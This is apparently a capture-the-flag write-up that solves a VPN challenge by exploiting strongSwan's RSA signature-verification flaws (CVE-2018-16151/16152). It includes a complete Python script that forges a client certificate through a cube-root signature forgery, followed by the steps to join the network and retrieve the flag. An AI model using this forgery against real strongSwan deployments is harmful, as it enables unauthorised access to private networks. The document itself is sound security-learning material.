Rating:

Provided scripts reveal that strongswan 5.6.3 is used, and the description just begs to [look for known CVEs in strongswan](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=strongswan). Provided scripts also use keys generated by `openssl -3`, so this is definitely [https://www.strongswan.org/blog/2018/09/24/strongswan-vulnerability-(cve-2018-16151,-cve-2018-16152).html](https://www.strongswan.org/blog/2018/09/24/strongswan-vulnerability-(cve-2018-16151,-cve-2018-16152).html). It remains to find a paper referenced in blogpost and implement an attack by description.

Sample certificates are provided, but without private keys. Generate a private key; replace the modulus in sample client certificate (I was too lazy for generic certificate parsing, so just found required offsets with https://lapo.it/asn1js/ and hardcoded them); find a number that is a) a perfect cube, b) begins with a fixed sequence of bytes, c) ends with another fixed sequence of bytes including sha-256 hash of (hacked) certificate; write cubic root of that number as the signature.
```
import base64
import hashlib
import gmpy2
import textwrap

from Crypto.Util import asn1
# client.cert
cert = base64.b64decode('''MIIDNzCCAh+gAwIBAgIIYfdJ8xaCJkgwDQYJKoZIhvcNAQELBQAwNjELMAkGA1UE
BhMCRlIxDzANBgNVBAoTBkRvbmpvbjEWMBQGA1UEAxMNZG9uam9uLWN0Zi5pbzAe
Fw0yMTA5MTcwOTU1MDVaFw0yNDA5MTYwOTU1MDVaMD0xCzAJBgNVBAYTAkZSMQ8w
DQYDVQQKEwZEb25qb24xHTAbBgNVBAMMFGNsaWVudEBkb25qb24tY3RmLmlvMIIB
IDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEAt75M5jZhusT2B44xmBqwi0JC
LEQOQwOkLhRpPxceJwThXZyFBJDMl9zuBRwgwRNO5Ina+FRcNsKVezNPn7oko1CS
bAFZYcIiNwPAo6DJIuNGAuj5y6bmv2XbDfdPton1VZXa3BwpFjPUrzwiHBdagrU4
8jklDDlzF59a4OH96e+N1OicFc8iJQ5unxYC62Ja2na/Wj6HDHXjwYuLGqoNLwnW
WnjbBPxNccFYdFT5/bkC0Zltx8DvHKcCOASCl1C1nfnbWqUIwRhm6omuhA0RgB08
edx5+LutdpObt8VzC/Cxt8Z+xYc+eJvnScBYekh9J/SjioBHqC9pIEALJ1FQKQIB
A6NEMEIwHwYDVR0jBBgwFoAUk9kTZmS2NX7uHyn3G5/Szqn4kI4wHwYDVR0RBBgw
FoEUY2xpZW50QGRvbmpvbi1jdGYuaW8wDQYJKoZIhvcNAQELBQADggEBAJwwzE8C
vNAKQnCZevCTv0iDXlXmEf7YT851rJrmxy3B1aTwt0kyFWbr8qDhXMZ086amUW6x
YyQ2Fdoc8ffJJPsRRq3H1VvTaQNc/VronlxTYEU6PzimRx4gDAT/2B+MTxkIFIb2
Djf20jdXG6T+8ZRIQzm92helOXt/FUHEc0G1kImikzD24waEebRreouIBvu/XgnX
fv1yZEVyS99grk9nalz4LIG9J7u1sJfgPenMe8aCLmhHDUrX/tSGnp+d3C1NKlRk
zZFSSJJu8TudwDURlL6YK645eBhiyelQesalNgbKLnYa/M2Ed9zpRNrRtO0FoyJy
T66jEz0tgIbJanE=''')
# from generated private key
n = 28356724275333887542479317191005841901836344681482514764684314683000727258127997307522203354451506260209389558860495618651157911197702665969439701541767113639014957036332889770485907560234626893470738392903767830365952207916818525314299003562717342726400768308693767676218847016539986561889041594274433497421895733745491961162400292068956212706243412503227443603581883732522041155046661897383235418793753913419445564100489242543990897953734601881718576629190786310796785374658658929356575892823590156321474293191352513151620762967738388638691390103156605154923772003541863277268040091224525795619919764840937811046449
cert = cert[:0xDE] + n.to_bytes(0x100, 'big') + cert[0x1DE:]
newhash = hashlib.sha256(cert[4:0x227]).digest()
if (newhash[-1] & 1) == 0:
print("nope, try again")
exit(1)
# with 191 bytes of "parameters" data, there are 8 FFs in the prefix
paramlen = 191
sigtemplate = asn1.DerSequence([
asn1.DerSequence([
asn1.DerObjectId("2.16.840.1.101.3.4.2.1"),
asn1.DerOctetString(b'\xCC' * paramlen)
]),
asn1.DerOctetString(newhash)
]).encode()
sigtemplate = b'\x01' + b'\xFF' * (253 - len(sigtemplate)) + b'\x00' + sigtemplate
assert len(sigtemplate) == 255
parampos = sigtemplate.find(b'\xCC' * paramlen)
paramend = parampos + paramlen
sigtemplate_num = int.from_bytes(sigtemplate[:parampos] + b'\0' * paramlen + sigtemplate[paramend:], 'big')
cuberoot_lastbits = 1
for n in range(1, (len(sigtemplate) - paramend) * 8):
if (pow(cuberoot_lastbits, 3) ^ sigtemplate_num) & (1 << n):
cuberoot_lastbits ^= 1 << n
mask_lastbits = (1 << ((len(sigtemplate) - paramend) * 8)) - 1
cuberoot = int(gmpy2.iroot(sigtemplate_num - 1, 3)[0]) + 1
assert pow(cuberoot, 3) >= sigtemplate_num
if (cuberoot & mask_lastbits) > cuberoot_lastbits:
cuberoot += mask_lastbits + 1
cuberoot = (cuberoot & ~mask_lastbits) + cuberoot_lastbits
hackedval = pow(cuberoot, 3).to_bytes(255, 'big')
if hackedval[:parampos] != sigtemplate[:parampos] or hackedval[paramend:] != sigtemplate[paramend:]:
print("nope, try again")
exit(1)
cert = cert[:-256] + cuberoot.to_bytes(256, 'big')
open('fakeclient.pem', 'w').write('-----BEGIN CERTIFICATE-----\n' + '\n'.join(textwrap.wrap(base64.b64encode(cert).decode('ascii'), 64)) + '\n-----END CERTIFICATE-----\n')
```

With private key and hacked certificate, follow the provided scripts to connect to VPN network. After connection, other servers reside in 10.13.0.x network; app serving the flag listens on port 8000, it's ip turns out to be 10.13.0.3, curl http://10.13.0.3:8000 reveals the flag `CTF{fun_with_CVE-2018-16151_and_CVE-2018-16152}`.